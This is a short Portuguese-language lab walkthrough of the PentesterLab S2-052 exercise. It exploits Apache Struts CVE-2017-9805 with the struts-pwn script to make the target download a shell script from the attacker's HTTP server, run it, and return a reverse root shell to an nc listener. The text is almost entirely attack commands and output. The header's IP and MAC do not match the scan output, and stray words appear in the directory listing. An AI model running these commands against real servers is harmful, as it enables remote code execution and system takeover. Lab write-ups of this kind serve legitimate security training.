

Pentester Lab: S2-052

IP da máquina: 192.168.56.103 // MAC: 08:0c:27:29:8b:43

Resultados do nmap:

nmap -A -p- -v 192.168.2.111

```
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache Tomcat/Coyote JSP engine 1.1
| http-cookie-flags:
|   /:
|     JSESSIONID:
|       httponly flag not set
|_ http-methods:
|   Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache-Coyote/1.1
|_ http-title: Orders
|_ Requested resource was /orders.xhtml
MAC Address: 08:00:27:22:DB:10 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
```

Resultados do dirb:

dirb http://192.168.2.111

```
---- Scanning URL: http://192.168.2.111/ ----
==> DIRECTORY: http://192.168.2.111/css/ Bob
==> DIRECTORY: http://192.168.2.111/fonts/ 33
==> DIRECTORY: http://192.168.2.111/META-INF/
+ http://192.168.2.111/orders (CODE:200|SIZE:3460)
==> DIRECTORY: http://192.168.2.111/WEB-INF/

---- Entering directory: http://192.168.2.111/css/ ----
---- Entering directory: http://192.168.2.111/fonts/ ----
---- Entering directory: http://192.168.2.111/META-INF/ ----
==> DIRECTORY: http://192.168.2.111/META-INF/maven/

---- Entering directory: http://192.168.2.111/WEB-INF/ ----
==> DIRECTORY: http://192.168.2.111/WEB-INF/classes/
==> DIRECTORY: http://192.168.2.111/WEB-INF/content/
==> DIRECTORY: http://192.168.2.111/WEB-INF/lib/
==> DIRECTORY: http://192.168.2.111/WEB-INF/src/

---- Entering directory: http://192.168.2.111/META-INF/maven/ ----
---- Entering directory: http://192.168.2.111/WEB-INF/classes/ ----
```

http://192.168.2.111/orders/

Orders			
ID	Client	Amount	Actions
3	Bob	33	View Edit Delete
4	Sarah	44	View Edit Delete
5	Jim	66	View Edit Delete

python -m SimpleHTTPServer 8081

```
root@kali:~# python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
192.168.2.111 - - [22/Jun/2020 17:40:38] "GET /shell.sh HTTP/1.1" 200 -
192.168.2.111 - - [22/Jun/2020 17:45:55] "GET /shell.sh HTTP/1.1" 200 -
```

Struts-pwn exploit:

wget https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py

./struts-pwn.py -u http://192.168.2.111/orders -c "wget http://192.168.2.110:8081/shell.sh -O /tmp/shell.sh" --exploit

```
root@kali:~# ./struts-pwn.py -u http://192.168.2.111/orders -c "wget http://192.168.2.110:8081/shell.sh -O /tmp/shell.sh" --exploit
[*] URL: http://192.168.2.111/orders
[*] CMD: wget http://192.168.2.110:8081/shell.sh -O /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.
```

Escuta iniciada:

```
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
```

./struts-pwn.py -u http://192.168.2.111/orders -c "bash /tmp/shell.sh" --exploit

```
root@kali:~# ./struts-pwn.py -u http://192.168.2.111/orders -c "bash /tmp/shell.sh" --exploit
[*] URL: http://192.168.2.111/orders
[*] CMD: bash /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.
```

Root:

```
connect to [192.168.2.110] from (UNKNOWN) [192.168.2.111] 46260
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux vulnerable 3.14.1-pentesterlab #1 SMP Sun Jul 6 09:16:00 EST 2014 i686 GNU/Linux
```